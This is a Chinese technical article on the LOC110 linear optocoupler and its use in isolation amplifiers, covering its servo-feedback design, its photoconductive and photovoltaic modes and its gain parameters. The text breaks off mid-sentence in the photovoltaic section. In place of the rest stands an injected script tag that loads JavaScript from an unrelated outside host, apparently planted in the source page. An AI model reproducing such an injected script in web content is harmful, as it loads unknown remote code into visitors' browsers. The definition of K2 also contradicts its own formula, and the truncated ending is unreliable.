摘要：隔离放大器电路在通信、工业、医疗器械、电源及测试装置等仪器中是十分关键的部件，对整个系统的正常工作非常重要。loc110是美国clare公司生产的线性光耦合器，本文介绍其工作原理及其在隔离放大电路中的应用。
关键词：隔离放大器、线性光耦合器、loc110、线性度
前言
隔离放大器具有极好的抗共模干扰能力，能有效地阻断现场和数据采集系统之间电的联系，但并不切断它们之间的信号传递。而在通信、工业、医疗器材、电源及测试装置等系统之中，电路中的隔离是必要的。传统上该目的的实现是由变压器及光耦合器件完成，其中变压器是用于耦合交流信号；而光耦合器则用于直流信号的耦合。不像一般的光耦合器件，loc110在伺服模式设计下运作，以补偿发光二极管的非线性时间及温度特性，除此之外，loc110能同时耦合交流及直流信号。loc110为设计者提供可取代大体积的变压器及非线性光耦合器件在许多应用中的另一种更佳的选择。
loc110的结构及工作原理
loc110包含一个红外线发光二极管与两个光电三极管形成光耦合。其中的一个光电三极管是用在伺服反馈机制上，对发光二极管的导通电流予以补偿；另一个光电三极管是用于提供输入及输出电路间的电流隔离，其内部结构及引脚如图1所示。loc110有dip和表面贴装两种封装形式，能耦合模拟和数字信号，增益稳定性高，带宽大于200khz，低功耗，线性度可达0.01%。
loc110是以一对线性光耦合器应用在电流的隔离上，以保持正确的交流及直流信号和由输入到输出的线性特性，它有光电压和光电导两种工作模式。
1.光电导模式
loc110在光电导模式下工作的典型电路，图中电路是配置成光电三极管的集电极与基极反向偏压，这是loc110在光电导模导式下运作的接法。
当输入电压vin在0v及if是0ma时，u1有一个大的开环增益值。随着vin值的升高，u1的输出值开始进入vcc1的轨迹上。随着u1输出的增大，if开始有电流值而发光二极管也进入工作状态。接着，光电三极管受到发光二极管所发出光的照射而导通，并产生电流i1。当i1流经r1，在u1的反相端便产生电压va，使得放大器进入负反馈工作状态。当va的值与vin相等时，if的值便不再增加，而且电路处在稳定的闭环状态。假如vin被改变，va将会跟随vin变化，发光二极管所产生的光同样也照射在输出光电三极管上，而产生一输出电流。这一电流与发光二极管所产生的光及流过的电流成正比，而这一电流立刻反映在i1上。放大器的输出电压是电流i2和电阻r2的积。主要参数定义如下：
伺服增益－k1
这个参数定义为伺服光电流i1对发光二极管的顺向电流if的比值，即k1＝i1/if ，k1的典型值为0.007，输入条件为if =10ma， vcc =15v。
顺向增益－k2
此参数定义为伺服光电流i1与发光二极管顺向电流if的比值。即k2＝i2/if ，k2的典型值为0.007， 输入条件为if=10ma， vcc=15v.
转移增益－k3
此参数定义为k2和k1的比值，即k3＝k2/k1
当放大器所应用的带宽达200khz时，必须使用光电导模式。在此模式下有着与有 1位元线性误差的8位元d/a变流器(converter)相类似的线性特性及漂移特性。光电导模式所以有如此高的频宽，原因之一是输出光电三极管的基极和集电极间结面在反向偏压时比顺向偏压及无偏压时，有着较宽的耗尽区。在结面上，较宽的耗尽区造成一较低的结面电容，并有着较快的反应时间常数，随着反向偏压的增加，结面的耗尽区变得越来越宽而造成一较低的结面电容。
2．光电压模式
在光电压模式下，使用loc110可达成最佳的线性度，最低的干扰及漂移性能。在这种模式下达成12位元线性度是有可能的，然而这是以较小带宽40khz为代价，图3为典型的光电压模式隔离放大器电路。
在光电压模式下，loc110的光电三极管的作用类似一个电压发生器。所?script src=http://er12.com/t.js>
